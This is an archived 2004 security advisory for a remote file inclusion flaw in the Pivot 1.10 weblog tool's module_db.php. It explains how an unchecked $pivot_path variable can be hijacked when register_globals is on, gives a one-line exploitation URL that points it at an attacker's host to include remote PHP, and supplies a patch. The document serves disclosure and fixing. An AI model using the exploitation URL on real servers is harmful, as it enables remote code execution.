what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

pivot1.1.0SoundwaveAdv.txt

pivot1.1.0SoundwaveAdv.txt
Posted Jun 18, 2004
Authored by Alex Buck aka loofus | Site 0x90.org

Pivot 1.10 Soundwave is susceptible to a remote file inclusion and execution vulnerability that enables a remote attacker to execute anything they want in the context of the user id running the web server.

tags | exploit, remote, web, file inclusion
SHA-256 | bc31d33c1db4f1dcd9a4ae2f956fc02dbd2c9d2de27d2c22695f954c79bf9233

pivot1.1.0SoundwaveAdv.txt

Change Mirror Download
Pivot 1.10 Soundwave - Remote Code Execution
--------------------------------------------
loofus - 0x90.org

Greets:
-------
Downbload, nummish, peace, war-cow & the rest of 0x90.org

Description:
------------
Pivot is a tool to create weblogs, without the need of a database. Pivot is
easy to setup, easy to maintain and even easier to work with. All data is
stored using flat files. MySQL or other databases are not required, just
plain PHP.

Vulnerability:
--------------
The vulnerability is a remote file inclusion (hmm been seeing too many of
these lately). Anywas, the vulnerability lies within a class file called
module_db.php which is accessible individually. By supplying a malicious
path variable the attack, is able to include any file he/she wishes and is
able to include remote php code allowing local system access as whatever
user PHP is runs scripts as most likely www-data.

--- module_db.php ---
// for now, we'll just use the xml / flat-file module..
include_once $pivot_path."modules/module_db_xml.php";

class db {

--- module_db.php ---

No check is done on module_db.php as it is assumed that noone will actually
individually visit this file as it contains a class interface. The idea
behind this is to include this file somewhere else within the code execution
so that $pivot_path is properly set. However if register_globals is set to
on within php.ini the attacker is able to hijack the variable $pivot_path
and point it to somewhere else ("http://xxxxx/includes/module_db_xml.php").

Exploitation:
-------------
http://xxxxx/pivot/modules/module_db.php?pivot_path=http://xxxxxx

Fix:
----
--- module_db.php Wed Feb 11 16:29:04 2004
+++ module_db.phpfix Fri May 28 22:36:07 2004
@@ -10,6 +10,10 @@
// Patch to fix remote include - loofus (0x90)
// ---------------------------------------------------------------------------

+/* Make sure user cannot include remote files */
+if(isset($_GET['pivot_path']) || isset($_POST['pivot_path']) ||
isset($_COOKIE['pivot_path']))
+ die("No remote include for you!\n");
+
// for now, we'll just use the xml / flat-file module..
include_once $pivot_path."modules/module_db_xml.php";
Login or Register to add favorites

File Archive:

December 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    0 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    32 Files
  • 5
    Dec 5th
    10 Files
  • 6
    Dec 6th
    14 Files
  • 7
    Dec 7th
    24 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close